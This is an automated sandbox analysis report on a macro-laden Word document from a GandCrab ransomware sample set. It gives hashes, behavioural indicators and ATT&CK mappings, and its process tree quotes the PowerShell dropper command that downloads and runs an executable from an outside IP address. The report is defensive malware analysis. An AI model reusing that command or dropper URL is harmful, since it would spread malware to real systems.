e3bd83b61c2deec0f5d6febbfc891be6fc52d2b546bafdf9b182032d845805a8

Analysis

max time kernel
119s
max time network
126s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
17-02-2025 20:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

malware-samples-master/2018-04-GandCrab-Swarm/99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f.doc
Size

212KB
MD5

16ba8f5d604b4b9a366ae2d5b2107e68
SHA1

878f05a0ddc78db92cd844b5d13be93e7b25f343
SHA256

99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f40b74d0809
SHA512

31544b5590e13df49138c5ae80a6adc9fdce4ea309b856099870b453e9419c8c05f433e18cfdf749a54798468502d21b660a9c9eb2bc02df7da31543d703e873
SSDEEP

6144:FvLzpvvAi+VLE5DnxWCDWSQB2Zye7+rXMl:pzpvv+pE5DxWskrX

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.189.58.222/x.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2820	2160	powershell.exe	29

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2820	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2820	powershell.exe
2820	powershell.exe
3004	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2160	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2820	powershell.exe
3004	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeDebugPrivilege	3004	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2160	WINWORD.EXE
2160	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2160 wrote to memory of 2820	2160	WINWORD.EXE	30
PID 2160 wrote to memory of 2820	2160	WINWORD.EXE	30
PID 2160 wrote to memory of 2820	2160	WINWORD.EXE	30
PID 2160 wrote to memory of 2820	2160	WINWORD.EXE	30
PID 2820 wrote to memory of 3004	2820	powershell.exe	33
PID 2820 wrote to memory of 3004	2820	powershell.exe	33
PID 2820 wrote to memory of 3004	2820	powershell.exe	33
PID 2820 wrote to memory of 3004	2820	powershell.exe	33
PID 2160 wrote to memory of 2316	2160	WINWORD.EXE	34
PID 2160 wrote to memory of 2316	2160	WINWORD.EXE	34
PID 2160 wrote to memory of 2316	2160	WINWORD.EXE	34
PID 2160 wrote to memory of 2316	2160	WINWORD.EXE	34

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\malware-samples-master\2018-04-GandCrab-Swarm\99eb1d90eb5f0d012f35fcc2a7dedd2229312794354843637ebb7f.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2160
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -w 1 (New-Object System.Net.WebClient).DownloadFile('http://185.189.58.222/x.exe',([System.IO.Path]::GetTempPath()+'\PHfW.exe'));powershell.exe -w 1 Start-Process -Filepath ([System.IO.Path]::GetTempPath()+'\PHfW.exe');
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2820
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 Start-Process -Filepath C:\Users\Admin\AppData\Local\Temp\\PHfW.exe
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3004
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
c51e96a705f3083d04a10fa4159888dc

SHA1
0528489b2f057481a736885fc7b6165a06769036

SHA256
b5ae16399809bd81fbdf6224ed017097f00bda4381c40ed45a0b68ec9eacfc62

SHA512
14747ac429acb99b93d13f9f793f2dced5612153b5738c64a04740bfd9251fb541421edc45434fc10656a6f5aede2234e024e4bcdbe91ee9a1b5fbc81460ab2f

Download Submit
memory/2160-8-0x0000000000520000-0x0000000000620000-memory.dmp

Filesize
1024KB

Download
memory/2160-5-0x0000000000520000-0x0000000000620000-memory.dmp

Filesize
1024KB

Download
memory/2160-10-0x0000000000520000-0x0000000000620000-memory.dmp

Filesize
1024KB

Download
memory/2160-4-0x0000000000520000-0x0000000000620000-memory.dmp

Filesize
1024KB

Download
memory/2160-13-0x0000000000520000-0x0000000000620000-memory.dmp

Filesize
1024KB

Download
memory/2160-6-0x0000000000520000-0x0000000000620000-memory.dmp

Filesize
1024KB

Download
memory/2160-9-0x0000000000520000-0x0000000000620000-memory.dmp

Filesize
1024KB

Download
memory/2160-14-0x0000000000520000-0x0000000000620000-memory.dmp

Filesize
1024KB

Download
memory/2160-7-0x0000000000520000-0x0000000000620000-memory.dmp

Filesize
1024KB

Download
memory/2160-2-0x0000000070FED000-0x0000000070FF8000-memory.dmp

Filesize
44KB

Download
memory/2160-0-0x000000002F7F1000-0x000000002F7F2000-memory.dmp

Filesize
4KB

Download
memory/2160-12-0x0000000000520000-0x0000000000620000-memory.dmp

Filesize
1024KB

Download
memory/2160-11-0x0000000000520000-0x0000000000620000-memory.dmp

Filesize
1024KB

Download
memory/2160-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2160-27-0x0000000070FED000-0x0000000070FF8000-memory.dmp

Filesize
44KB

Download
memory/2160-28-0x0000000000520000-0x0000000000620000-memory.dmp

Filesize
1024KB

Download
memory/2160-29-0x0000000000520000-0x0000000000620000-memory.dmp

Filesize
1024KB

Download